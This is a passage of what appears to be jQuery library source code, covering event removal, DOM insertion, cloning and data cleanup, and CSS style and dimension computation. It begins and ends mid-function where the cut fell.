{\n\n\t\t\t// ( event ) dispatched jQuery.Event\n\t\t\thandleObj = types.handleObj;\n\t\t\tjQuery( types.delegateTarget ).off(\n\t\t\t\thandleObj.namespace ?\n\t\t\t\t\thandleObj.origType + \".\" + handleObj.namespace :\n\t\t\t\t\thandleObj.origType,\n\t\t\t\thandleObj.selector,\n\t\t\t\thandleObj.handler\n\t\t\t);\n\t\t\treturn this;\n\t\t}\n\t\tif ( typeof types === \"object\" ) {\n\n\t\t\t// ( types-object [, selector] )\n\t\t\tfor ( type in types ) {\n\t\t\t\tthis.off( type, selector, types[ type ] );\n\t\t\t}\n\t\t\treturn this;\n\t\t}\n\t\tif ( selector === false || typeof selector === \"function\" ) {\n\n\t\t\t// ( types [, fn] )\n\t\t\tfn = selector;\n\t\t\tselector = undefined;\n\t\t}\n\t\tif ( fn === false ) {\n\t\t\tfn = returnFalse;\n\t\t}\n\t\treturn this.each( function() {\n\t\t\tjQuery.event.remove( this, types, fn, selector );\n\t\t} );\n\t}\n} );\n\n\nvar\n\n\t/* eslint-disable max-len */\n\n\t// See https://github.com/eslint/eslint/issues/3229\n\trxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\\/\\0>\\x20\\t\\r\\n\\f]*)[^>]*)\\/>/gi,\n\n\t/* eslint-enable */\n\n\t// Support: IE <=10 - 11, Edge 12 - 13 only\n\t// In IE/Edge using regex groups here causes severe slowdowns.\n\t// See https://connect.microsoft.com/IE/feedback/details/1736512/\n\trnoInnerhtml = /<script|<style|<link/i,\n\n\t// checked=\"checked\" or checked\n\trchecked = /checked\\s*(?:[^=]|=\\s*.checked.)/i,\n\trcleanScript = /^\\s*<!(?:\\[CDATA\\[|--)|(?:\\]\\]|--)>\\s*$/g;\n\n// Prefer a tbody over its parent table for containing new rows\nfunction manipulationTarget( elem, content ) {\n\tif ( nodeName( elem, \"table\" ) &&\n\t\tnodeName( content.nodeType !== 11 ? content : content.firstChild, \"tr\" ) ) {\n\n\t\treturn jQuery( elem ).children( \"tbody\" )[ 0 ] || elem;\n\t}\n\n\treturn elem;\n}\n\n// Replace/restore the type attribute of script elements for safe DOM manipulation\nfunction disableScript( elem ) {\n\telem.type = ( elem.getAttribute( \"type\" ) !== null ) + \"/\" + elem.type;\n\treturn elem;\n}\nfunction restoreScript( elem ) {\n\tif ( ( elem.type || \"\" ).slice( 0, 5 ) === \"true/\" ) {\n\t\telem.type = elem.type.slice( 5 );\n\t} else {\n\t\telem.removeAttribute( \"type\" );\n\t}\n\n\treturn elem;\n}\n\nfunction cloneCopyEvent( src, dest ) {\n\tvar i, l, type, pdataOld, pdataCur, udataOld, udataCur, events;\n\n\tif ( dest.nodeType !== 1 ) {\n\t\treturn;\n\t}\n\n\t// 1. Copy private data: events, handlers, etc.\n\tif ( dataPriv.hasData( src ) ) {\n\t\tpdataOld = dataPriv.access( src );\n\t\tpdataCur = dataPriv.set( dest, pdataOld );\n\t\tevents = pdataOld.events;\n\n\t\tif ( events ) {\n\t\t\tdelete pdataCur.handle;\n\t\t\tpdataCur.events = {};\n\n\t\t\tfor ( type in events ) {\n\t\t\t\tfor ( i = 0, l = events[ type ].length; i < l; i++ ) {\n\t\t\t\t\tjQuery.event.add( dest, type, events[ type ][ i ] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// 2. Copy user data\n\tif ( dataUser.hasData( src ) ) {\n\t\tudataOld = dataUser.access( src );\n\t\tudataCur = jQuery.extend( {}, udataOld );\n\n\t\tdataUser.set( dest, udataCur );\n\t}\n}\n\n// Fix IE bugs, see support tests\nfunction fixInput( src, dest ) {\n\tvar nodeName = dest.nodeName.toLowerCase();\n\n\t// Fails to persist the checked state of a cloned checkbox or radio button.\n\tif ( nodeName === \"input\" && rcheckableType.test( src.type ) ) {\n\t\tdest.checked = src.checked;\n\n\t// Fails to return the selected option to the default selected state when cloning options\n\t} else if ( nodeName === \"input\" || nodeName === \"textarea\" ) {\n\t\tdest.defaultValue = src.defaultValue;\n\t}\n}\n\nfunction domManip( collection, args, callback, ignored ) {\n\n\t// Flatten any nested arrays\n\targs = concat.apply( [], args );\n\n\tvar fragment, first, scripts, hasScripts, node, doc,\n\t\ti = 0,\n\t\tl = collection.length,\n\t\tiNoClone = l - 1,\n\t\tvalue = args[ 0 ],\n\t\tvalueIsFunction = isFunction( value );\n\n\t// We can't cloneNode fragments that contain checked, in WebKit\n\tif ( valueIsFunction ||\n\t\t\t( l > 1 && typeof value === \"string\" &&\n\t\t\t\t!support.checkClone && rchecked.test( value ) ) ) {\n\t\treturn collection.each( function( index ) {\n\t\t\tvar self = collection.eq( index );\n\t\t\tif ( valueIsFunction ) {\n\t\t\t\targs[ 0 ] = value.call( this, index, self.html() );\n\t\t\t}\n\t\t\tdomManip( self, args, callback, ignored );\n\t\t} );\n\t}\n\n\tif ( l ) {\n\t\tfragment = buildFragment( args, collection[ 0 ].ownerDocument, false, collection, ignored );\n\t\tfirst = fragment.firstChild;\n\n\t\tif ( fragment.childNodes.length === 1 ) {\n\t\t\tfragment = first;\n\t\t}\n\n\t\t// Require either new content or an interest in ignored elements to invoke the callback\n\t\tif ( first || ignored ) {\n\t\t\tscripts = jQuery.map( getAll( fragment, \"script\" ), disableScript );\n\t\t\thasScripts = scripts.length;\n\n\t\t\t// Use the original fragment for the last item\n\t\t\t// instead of the first because it can end up\n\t\t\t// being emptied incorrectly in certain situations (#8070).\n\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\tnode = fragment;\n\n\t\t\t\tif ( i !== iNoClone ) {\n\t\t\t\t\tnode = jQuery.clone( node, true, true );\n\n\t\t\t\t\t// Keep references to cloned scripts for later restoration\n\t\t\t\t\tif ( hasScripts ) {\n\n\t\t\t\t\t\t// Support: Android <=4.0 only, PhantomJS 1 only\n\t\t\t\t\t\t// push.apply(_, arraylike) throws on ancient WebKit\n\t\t\t\t\t\tjQuery.merge( scripts, getAll( node, \"script\" ) );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tcallback.call( collection[ i ], node, i );\n\t\t\t}\n\n\t\t\tif ( hasScripts ) {\n\t\t\t\tdoc = scripts[ scripts.length - 1 ].ownerDocument;\n\n\t\t\t\t// Reenable scripts\n\t\t\t\tjQuery.map( scripts, restoreScript );\n\n\t\t\t\t// Evaluate executable scripts on first document insertion\n\t\t\t\tfor ( i = 0; i < hasScripts; i++ ) {\n\t\t\t\t\tnode = scripts[ i ];\n\t\t\t\t\tif ( rscriptType.test( node.type || \"\" ) &&\n\t\t\t\t\t\t!dataPriv.access( node, \"globalEval\" ) &&\n\t\t\t\t\t\tjQuery.contains( doc, node ) ) {\n\n\t\t\t\t\t\tif ( node.src && ( node.type || \"\" ).toLowerCase() !== \"module\" ) {\n\n\t\t\t\t\t\t\t// Optional AJAX dependency, but won't run scripts if not present\n\t\t\t\t\t\t\tif ( jQuery._evalUrl ) {\n\t\t\t\t\t\t\t\tjQuery._evalUrl( node.src );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tDOMEval( node.textContent.replace( rcleanScript, \"\" ), doc, node );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn collection;\n}\n\nfunction remove( elem, selector, keepData ) {\n\tvar node,\n\t\tnodes = selector ? jQuery.filter( selector, elem ) : elem,\n\t\ti = 0;\n\n\tfor ( ; ( node = nodes[ i ] ) != null; i++ ) {\n\t\tif ( !keepData && node.nodeType === 1 ) {\n\t\t\tjQuery.cleanData( getAll( node ) );\n\t\t}\n\n\t\tif ( node.parentNode ) {\n\t\t\tif ( keepData && jQuery.contains( node.ownerDocument, node ) ) {\n\t\t\t\tsetGlobalEval( getAll( node, \"script\" ) );\n\t\t\t}\n\t\t\tnode.parentNode.removeChild( node );\n\t\t}\n\t}\n\n\treturn elem;\n}\n\njQuery.extend( {\n\thtmlPrefilter: function( html ) {\n\t\treturn html.replace( rxhtmlTag, \"<$1></$2>\" );\n\t},\n\n\tclone: function( elem, dataAndEvents, deepDataAndEvents ) {\n\t\tvar i, l, srcElements, destElements,\n\t\t\tclone = elem.cloneNode( true ),\n\t\t\tinPage = jQuery.contains( elem.ownerDocument, elem );\n\n\t\t// Fix IE cloning issues\n\t\tif ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) &&\n\t\t\t\t!jQuery.isXMLDoc( elem ) ) {\n\n\t\t\t// We eschew Sizzle here for performance reasons: https://jsperf.com/getall-vs-sizzle/2\n\t\t\tdestElements = getAll( clone );\n\t\t\tsrcElements = getAll( elem );\n\n\t\t\tfor ( i = 0, l = srcElements.length; i < l; i++ ) {\n\t\t\t\tfixInput( srcElements[ i ], destElements[ i ] );\n\t\t\t}\n\t\t}\n\n\t\t// Copy the events from the original to the clone\n\t\tif ( dataAndEvents ) {\n\t\t\tif ( deepDataAndEvents ) {\n\t\t\t\tsrcElements = srcElements || getAll( elem );\n\t\t\t\tdestElements = destElements || getAll( clone );\n\n\t\t\t\tfor ( i = 0, l = srcElements.length; i < l; i++ ) {\n\t\t\t\t\tcloneCopyEvent( srcElements[ i ], destElements[ i ] );\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tcloneCopyEvent( elem, clone );\n\t\t\t}\n\t\t}\n\n\t\t// Preserve script evaluation history\n\t\tdestElements = getAll( clone, \"script\" );\n\t\tif ( destElements.length > 0 ) {\n\t\t\tsetGlobalEval( destElements, !inPage && getAll( elem, \"script\" ) );\n\t\t}\n\n\t\t// Return the cloned set\n\t\treturn clone;\n\t},\n\n\tcleanData: function( elems ) {\n\t\tvar data, elem, type,\n\t\t\tspecial = jQuery.event.special,\n\t\t\ti = 0;\n\n\t\tfor ( ; ( elem = elems[ i ] ) !== undefined; i++ ) {\n\t\t\tif ( acceptData( elem ) ) {\n\t\t\t\tif ( ( data = elem[ dataPriv.expando ] ) ) {\n\t\t\t\t\tif ( data.events ) {\n\t\t\t\t\t\tfor ( type in data.events ) {\n\t\t\t\t\t\t\tif ( special[ type ] ) {\n\t\t\t\t\t\t\t\tjQuery.event.remove( elem, type );\n\n\t\t\t\t\t\t\t// This is a shortcut to avoid jQuery.event.remove's overhead\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tjQuery.removeEvent( elem, type, data.handle );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Support: Chrome <=35 - 45+\n\t\t\t\t\t// Assign undefined instead of using delete, see Data#remove\n\t\t\t\t\telem[ dataPriv.expando ] = undefined;\n\t\t\t\t}\n\t\t\t\tif ( elem[ dataUser.expando ] ) {\n\n\t\t\t\t\t// Support: Chrome <=35 - 45+\n\t\t\t\t\t// Assign undefined instead of using delete, see Data#remove\n\t\t\t\t\telem[ dataUser.expando ] = undefined;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n} );\n\njQuery.fn.extend( {\n\tdetach: function( selector ) {\n\t\treturn remove( this, selector, true );\n\t},\n\n\tremove: function( selector ) {\n\t\treturn remove( this, selector );\n\t},\n\n\ttext: function( value ) {\n\t\treturn access( this, function( value ) {\n\t\t\treturn value === undefined ?\n\t\t\t\tjQuery.text( this ) :\n\t\t\t\tthis.empty().each( function() {\n\t\t\t\t\tif ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {\n\t\t\t\t\t\tthis.textContent = value;\n\t\t\t\t\t}\n\t\t\t\t} );\n\t\t}, null, value, arguments.length );\n\t},\n\n\tappend: function() {\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tif ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {\n\t\t\t\tvar target = manipulationTarget( this, elem );\n\t\t\t\ttarget.appendChild( elem );\n\t\t\t}\n\t\t} );\n\t},\n\n\tprepend: function() {\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tif ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {\n\t\t\t\tvar target = manipulationTarget( this, elem );\n\t\t\t\ttarget.insertBefore( elem, target.firstChild );\n\t\t\t}\n\t\t} );\n\t},\n\n\tbefore: function() {\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tif ( this.parentNode ) {\n\t\t\t\tthis.parentNode.insertBefore( elem, this );\n\t\t\t}\n\t\t} );\n\t},\n\n\tafter: function() {\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tif ( this.parentNode ) {\n\t\t\t\tthis.parentNode.insertBefore( elem, this.nextSibling );\n\t\t\t}\n\t\t} );\n\t},\n\n\tempty: function() {\n\t\tvar elem,\n\t\t\ti = 0;\n\n\t\tfor ( ; ( elem = this[ i ] ) != null; i++ ) {\n\t\t\tif ( elem.nodeType === 1 ) {\n\n\t\t\t\t// Prevent memory leaks\n\t\t\t\tjQuery.cleanData( getAll( elem, false ) );\n\n\t\t\t\t// Remove any remaining nodes\n\t\t\t\telem.textContent = \"\";\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tclone: function( dataAndEvents, deepDataAndEvents ) {\n\t\tdataAndEvents = dataAndEvents == null ? false : dataAndEvents;\n\t\tdeepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;\n\n\t\treturn this.map( function() {\n\t\t\treturn jQuery.clone( this, dataAndEvents, deepDataAndEvents );\n\t\t} );\n\t},\n\n\thtml: function( value ) {\n\t\treturn access( this, function( value ) {\n\t\t\tvar elem = this[ 0 ] || {},\n\t\t\t\ti = 0,\n\t\t\t\tl = this.length;\n\n\t\t\tif ( value === undefined && elem.nodeType === 1 ) {\n\t\t\t\treturn elem.innerHTML;\n\t\t\t}\n\n\t\t\t// See if we can take a shortcut and just use innerHTML\n\t\t\tif ( typeof value === \"string\" && !rnoInnerhtml.test( value ) &&\n\t\t\t\t!wrapMap[ ( rtagName.exec( value ) || [ \"\", \"\" ] )[ 1 ].toLowerCase() ] ) {\n\n\t\t\t\tvalue = jQuery.htmlPrefilter( value );\n\n\t\t\t\ttry {\n\t\t\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\t\t\telem = this[ i ] || {};\n\n\t\t\t\t\t\t// Remove element nodes and prevent memory leaks\n\t\t\t\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\t\t\t\tjQuery.cleanData( getAll( elem, false ) );\n\t\t\t\t\t\t\telem.innerHTML = value;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\telem = 0;\n\n\t\t\t\t// If using innerHTML throws an exception, use the fallback method\n\t\t\t\t} catch ( e ) {}\n\t\t\t}\n\n\t\t\tif ( elem ) {\n\t\t\t\tthis.empty().append( value );\n\t\t\t}\n\t\t}, null, value, arguments.length );\n\t},\n\n\treplaceWith: function() {\n\t\tvar ignored = [];\n\n\t\t// Make the changes, replacing each non-ignored context element with the new content\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tvar parent = this.parentNode;\n\n\t\t\tif ( jQuery.inArray( this, ignored ) < 0 ) {\n\t\t\t\tjQuery.cleanData( getAll( this ) );\n\t\t\t\tif ( parent ) {\n\t\t\t\t\tparent.replaceChild( elem, this );\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Force callback invocation\n\t\t}, ignored );\n\t}\n} );\n\njQuery.each( {\n\tappendTo: \"append\",\n\tprependTo: \"prepend\",\n\tinsertBefore: \"before\",\n\tinsertAfter: \"after\",\n\treplaceAll: \"replaceWith\"\n}, function( name, original ) {\n\tjQuery.fn[ name ] = function( selector ) {\n\t\tvar elems,\n\t\t\tret = [],\n\t\t\tinsert = jQuery( selector ),\n\t\t\tlast = insert.length - 1,\n\t\t\ti = 0;\n\n\t\tfor ( ; i <= last; i++ ) {\n\t\t\telems = i === last ? this : this.clone( true );\n\t\t\tjQuery( insert[ i ] )[ original ]( elems );\n\n\t\t\t// Support: Android <=4.0 only, PhantomJS 1 only\n\t\t\t// .get() because push.apply(_, arraylike) throws on ancient WebKit\n\t\t\tpush.apply( ret, elems.get() );\n\t\t}\n\n\t\treturn this.pushStack( ret );\n\t};\n} );\nvar rnumnonpx = new RegExp( \"^(\" + pnum + \")(?!px)[a-z%]+$\", \"i\" );\n\nvar getStyles = function( elem ) {\n\n\t\t// Support: IE <=11 only, Firefox <=30 (#15098, #14150)\n\t\t// IE throws on elements created in popups\n\t\t// FF meanwhile throws on frame elements through \"defaultView.getComputedStyle\"\n\t\tvar view = elem.ownerDocument.defaultView;\n\n\t\tif ( !view || !view.opener ) {\n\t\t\tview = window;\n\t\t}\n\n\t\treturn view.getComputedStyle( elem );\n\t};\n\nvar rboxStyle = new RegExp( cssExpand.join( \"|\" ), \"i\" );\n\n\n\n( function() {\n\n\t// Executing both pixelPosition & boxSizingReliable tests require only one layout\n\t// so they're executed at the same time to save the second computation.\n\tfunction computeStyleTests() {\n\n\t\t// This is a singleton, we need to execute it only once\n\t\tif ( !div ) {\n\t\t\treturn;\n\t\t}\n\n\t\tcontainer.style.cssText = \"position:absolute;left:-11111px;width:60px;\" +\n\t\t\t\"margin-top:1px;padding:0;border:0\";\n\t\tdiv.style.cssText =\n\t\t\t\"position:relative;display:block;box-sizing:border-box;overflow:scroll;\" +\n\t\t\t\"margin:auto;border:1px;padding:1px;\" +\n\t\t\t\"width:60%;top:1%\";\n\t\tdocumentElement.appendChild( container ).appendChild( div );\n\n\t\tvar divStyle = window.getComputedStyle( div );\n\t\tpixelPositionVal = divStyle.top !== \"1%\";\n\n\t\t// Support: Android 4.0 - 4.3 only, Firefox <=3 - 44\n\t\treliableMarginLeftVal = roundPixelMeasures( divStyle.marginLeft ) === 12;\n\n\t\t// Support: Android 4.0 - 4.3 only, Safari <=9.1 - 10.1, iOS <=7.0 - 9.3\n\t\t// Some styles come back with percentage values, even though they shouldn't\n\t\tdiv.style.right = \"60%\";\n\t\tpixelBoxStylesVal = roundPixelMeasures( divStyle.right ) === 36;\n\n\t\t// Support: IE 9 - 11 only\n\t\t// Detect misreporting of content dimensions for box-sizing:border-box elements\n\t\tboxSizingReliableVal = roundPixelMeasures( divStyle.width ) === 36;\n\n\t\t// Support: IE 9 only\n\t\t// Detect overflow:scroll screwiness (gh-3699)\n\t\tdiv.style.position = \"absolute\";\n\t\tscrollboxSizeVal = div.offsetWidth === 36 || \"absolute\";\n\n\t\tdocumentElement.removeChild( container );\n\n\t\t// Nullify the div so it wouldn't be stored in the memory and\n\t\t// it will also be a sign that checks already performed\n\t\tdiv = null;\n\t}\n\n\tfunction roundPixelMeasures( measure ) {\n\t\treturn Math.round( parseFloat( measure ) );\n\t}\n\n\tvar pixelPositionVal, boxSizingReliableVal, scrollboxSizeVal, pixelBoxStylesVal,\n\t\treliableMarginLeftVal,\n\t\tcontainer = document.createElement( \"div\" ),\n\t\tdiv = document.createElement( \"div\" );\n\n\t// Finish early in limited (non-browser) environments\n\tif ( !div.style ) {\n\t\treturn;\n\t}\n\n\t// Support: IE <=9 - 11 only\n\t// Style of cloned element affects source element cloned (#8908)\n\tdiv.style.backgroundClip = \"content-box\";\n\tdiv.cloneNode( true ).style.backgroundClip = \"\";\n\tsupport.clearCloneStyle = div.style.backgroundClip === \"content-box\";\n\n\tjQuery.extend( support, {\n\t\tboxSizingReliable: function() {\n\t\t\tcomputeStyleTests();\n\t\t\treturn boxSizingReliableVal;\n\t\t},\n\t\tpixelBoxStyles: function() {\n\t\t\tcomputeStyleTests();\n\t\t\treturn pixelBoxStylesVal;\n\t\t},\n\t\tpixelPosition: function() {\n\t\t\tcomputeStyleTests();\n\t\t\treturn pixelPositionVal;\n\t\t},\n\t\treliableMarginLeft: function() {\n\t\t\tcomputeStyleTests();\n\t\t\treturn reliableMarginLeftVal;\n\t\t},\n\t\tscrollboxSize: function() {\n\t\t\tcomputeStyleTests();\n\t\t\treturn scrollboxSizeVal;\n\t\t}\n\t} );\n} )();\n\n\nfunction curCSS( elem, name, computed ) {\n\tvar width, minWidth, maxWidth, ret,\n\n\t\t// Support: Firefox 51+\n\t\t// Retrieving style before computed somehow\n\t\t// fixes an issue with getting wrong values\n\t\t// on detached elements\n\t\tstyle = elem.style;\n\n\tcomputed = computed || getStyles( elem );\n\n\t// getPropertyValue is needed for:\n\t// .css('filter') (IE 9 only, #12537)\n\t// .css('--customProperty) (#3144)\n\tif ( computed ) {\n\t\tret = computed.getPropertyValue( name ) || computed[ name ];\n\n\t\tif ( ret === \"\" && !jQuery.contains( elem.ownerDocument, elem ) ) {\n\t\t\tret = jQuery.style( elem, name );\n\t\t}\n\n\t\t// A tribute to the \"awesome hack by Dean Edwards\"\n\t\t// Android Browser returns percentage for some values,\n\t\t// but width seems to be reliably pixels.\n\t\t// This is against the CSSOM draft spec:\n\t\t// https://drafts.csswg.org/cssom/#resolved-values\n\t\tif ( !support.pixelBoxStyles() && rnumnonpx.test( ret ) && rboxStyle.test( name ) ) {\n\n\t\t\t// Remember the original values\n\t\t\twidth = style.width;\n\t\t\tminWidth = style.minWidth;\n\t\t\tmaxWidth = style.maxWidth;\n\n\t\t\t// Put in the new values to get a computed value out\n\t\t\tstyle.minWidth = style.maxWidth = style.width = ret;\n\t\t\tret = computed.width;\n\n\t\t\t// Revert the changed values\n\t\t\tstyle.width = width;\n\t\t\tstyle.minWidth = minWidth;\n\t\t\tstyle.maxWidth = maxWidth;\n\t\t}\n\t}\n\n\treturn ret !== undefined ?\n\n\t\t// Support: IE <=9 - 11 only\n\t\t// IE returns zIndex value as an integer.\n\t\tret + \"\" :\n\t\tret;\n}\n\n\nfunction addGetHookIf( conditionFn, hookFn ) {\n\n\t// Define the hook, we'll check on the first run if it's really needed.\n\treturn {\n\t\tget: function() {\n\t\t\tif ( conditionFn() ) {\n\n\t\t\t\t// Hook not needed (or it's not possible to use it due\n\t\t\t\t// to missing dependency), remove it.\n\t\t\t\tdelete this.get;\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Hook needed; redefine it so that the support test is not executed again.\n\t\t\treturn ( this.get = hookFn ).apply( this, arguments );\n\t\t}\n\t};\n}\n\n\nvar\n\n\t// Swappable if display is none or starts with table\n\t// except \"table\", \"table-cell\", or \"table-caption\"\n\t// See here for display values: https://developer.mozilla.org/en-US/docs/CSS/display\n\trdisplayswap = /^(none|table(?!-c[ea]).+)/,\n\trcustomProp = /^--/,\n\tcssShow = { position: \"absolute\", visibility: \"hidden\", display: \"block\" },\n\tcssNormalTransform = {\n\t\tletterSpacing: \"0\",\n\t\tfontWeight: \"400\"\n\t},\n\n\tcssPrefixes = [ \"Webkit\", \"Moz\", \"ms\" ],\n\temptyStyle = document.createElement( \"div\" ).style;\n\n// Return a css property mapped to a potentially vendor prefixed property\nfunction vendorPropName( name ) {\n\n\t// Shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}\n\n// Return a property mapped along what jQuery.cssProps suggests or to\n// a vendor prefixed property.\nfunction finalPropName( name ) {\n\tvar ret = jQuery.cssProps[ name ];\n\tif ( !ret ) {\n\t\tret = jQuery.cssProps[ name ] = vendorPropName( name ) || name;\n\t}\n\treturn ret;\n}\n\nfunction setPositiveNumber( elem, value, subtract ) {\n\n\t// Any relative (+/-) values have already been\n\t// normalized at this point\n\tvar matches = rcssNum.exec( value );\n\treturn matches ?\n\n\t\t// Guard against undefined \"subtract\", e.g., when used as in cssHooks\n\t\tMath.max( 0, matches[ 2 ] - ( subtract || 0 ) ) + ( matches[ 3 ] || \"px\" ) :\n\t\tvalue;\n}\n\nfunction boxModelAdjustment( elem, dimension, box, isBorderBox, styles, computedVal ) {\n\tvar i = dimension === \"width\" ? 1 : 0,\n\t\textra = 0,\n\t\tdelta = 0;\n\n\t// Adjustment may not be necessary\n\tif ( box === ( isBorderBox ? \"border\" : \"content\" ) ) {\n\t\treturn 0;\n\t}\n\n\tfor ( ; i < 4; i += 2 ) {\n\n\t\t// Both box models exclude margin\n\t\tif ( box === \"margin\" ) {\n\t\t\tdelta += jQuery.css( elem, box + cssExpand[ i ], true, styles );\n\t\t}\n\n\t\t// If we get here with a content-box, we're seeking \"padding\" or \"border\" or \"margin\"\n\t\tif ( !isBorderBox ) {\n\n\t\t\t// Add padding\n\t\t\tdelta += jQuery.css( elem, \"padding\" + cssExpand[ i ], true, styles );\n\n\t\t\t// For \"border\" or \"margin\", add border\n\t\t\tif ( box !== \"padding\" ) {\n\t\t\t\tdelta += jQuery.css( elem, \"border\" + cssExpand[ i ] + \"Width\", true, styles );\n\n\t\t\t// But still keep track of it otherwise\n\t\t\t} else {\n\t\t\t\textra += jQuery.css( elem, \"border\" + cssExpand[ i ] + \"Width\", true, styles );\n\t\t\t}\n\n\t\t// If we get here with a border-box (content + padding + border), we're seeking \"content\" or\n\t\t// \"padding\" or \"margin\"\n\t\t} else {\n\n\t\t\t// For \"content\", subtract padding\n\t\t\tif ( box === \"content\" ) {\n\t\t\t\tdelta -= jQuery.css( elem, \"padding\" + cssExpand[ i ], true, styles );\n\t\t\t}\n\n\t\t\t// For \"content\" or \"padding\", subtract border\n\t\t\tif ( box !== \"margin\" ) {\n\t\t\t\tdelta -= jQuery.css( elem, \"border\" + cssExpand[ i ] + \"Width\", true, styles );\n\t\t\t}\n\t\t}\n\t}\n\n\t// Account for positive content-box scroll gutter when requested by providing computedVal\n\tif ( !isBorderBox && computedVal >= 0 ) {\n\n\t\t// offsetWidth/offsetHeight is a rounded sum of content, padding, scroll gutter, and border\n\t\t// Assuming integer scroll gutter, subtract the rest and round down\n\t\tdelta += Math.max( 0, Math.ceil(\n\t\t\telem[ \"offset\" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] -\n\t\t\tcomputedVal -\n\t\t\tdelta -\n\t\t\textra -\n\t\t\t0.5\n\t\t) );\n\t}\n\n\treturn delta;\n}\n\nfunction getWidthOrHeight( elem, dimension, extra ) {\n\n\t// Start with computed style\n\tvar styles = getStyles( elem ),\n\t\tval = curCSS( elem, dimension, styles ),\n\t\tisBorderBox = jQuery.css( elem, \"boxSizing\", false, styles ) === \"border-box\",\n\t\tvalueIsBorderBox = isBorderBox;\n\n\t// Support: Firefox <=54\n\t// Return a confounding non-pixel value or feign ignorance, as appropriate.\n\tif ( rnumnonpx.test( val ) ) {\n\t\tif ( !extra ) {\n\t\t\treturn val;\n\t\t}\n\t\tval = \"auto\";\n\t}\n\n\t// Check for style in case a browser which returns unreliable values\n\t// for getComputedStyle silently falls back to the reliable elem.style\n\tvalueIsBorderBox = valueIsBorderBox &&\n\t\t( support.boxSizingReliable() || val === elem.style[ dimension ] );\n\n\t// Fall back to offsetWidth/offsetHeight when value is \"auto\"\n\t// This happens for inline elements with no explicit setting (gh-3571)\n\t// Support: Android <=4.1 - 4.3 only\n\t// Also use offsetWidth/offsetHeight for misreported inline dimensions (gh-3602)\n\tif ( val === \"auto\" ||\n\t\t!parseFloat( val ) && jQuery.css( elem, \"display\", false, styles ) === \"inline\" ) {\n\n\t\tval = elem[ \"offset\" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ];\n\n\t\t// offsetWidth/offsetHeight provide border-box values\n\t\tvalueIsBorderBox = true;\n\t}\n\n\t// Normalize \"\" and auto\n\tval = parseFloat( val ) || 0;\n\n\t// Adjust for the element's box model\n\treturn ( val +\n\t\tboxModelAdjustment(\n\t\t\telem,\n\t\t\tdimension,\n\t\t\textra || ( isBorderBox ? \"border\" : \"content\" ),\n\t\t\tvalueIsBorderBox,\n\t\t\tstyles,\n\n\t\t\t// Provide the current computed size to request scroll gutter calculation (gh-3589)\n\t\t\tval\n\t\t)\n\t) + \"px\";\n}\n\njQuery.extend( {\n\n\t// Add in style property hooks for overriding the default\n\t// behavior of getting and setting a style property\n\tcssHooks: {\n\t\topacity: {\n\t\t\tget: function( elem, computed ) {\n\t\t\t\tif ( computed ) {\n\n\t\t\t\t\t// We should always get a number back from opacity\n\t\t\t\t\tvar ret = curCSS( elem, \"opacity\" );\n\t\t\t\t\treturn ret === \"\" ? \"1\" : ret;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// Don't automatically add \"px\" to these possibly-unitless properties\n\tcssNumber: {\n\t\t\"animationIterationCount\": true,\n\t\t\"columnCount\": true,\n\t\t\"fillOpacity\": true,\n\t\t\"flexGrow\": true,\n\t\t\"flexShrink\": true,\n\t\t\"fontWeight\": true,\n\t\t\"lineHeight\": true,\n\t\t\"opacity\": true,\n\t\t\"order\": true,\n\t\t\"orphans\": true,\n\t\t\"widows\": true,\n\t\t\"zIndex\": true,\n\t\t\"zoom\": true\n\t},\n\n\t// Add in properties whose names you wish to fix before\n\t// setting or getting the value\n\tcssProps: {},\n\n\t// Get and set the style property on a DOM Node\n\tstyle: function( elem, name, value, extra ) {\n\n\t\t// Don't set styles on text and comment nodes\n\t\tif ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Make sure that we're working with the right name\n\t\tvar ret, type, hooks,\n\t\t\torigName = camelCase( name ),\n\t\t\tisCustomProp = rcustomProp.test( name ),\n\t\t\tstyle = elem.style;\n\n\t\t// Make sure that we're working with the right name. We don't\n\t\t// want to query the value if it is a CSS custom property\n\t\t// since they are user-defined.\n\t\tif ( !isCustomProp ) {\n\t\t\tname = finalPropName( origName );\n\t\t}\n\n\t\t// Gets 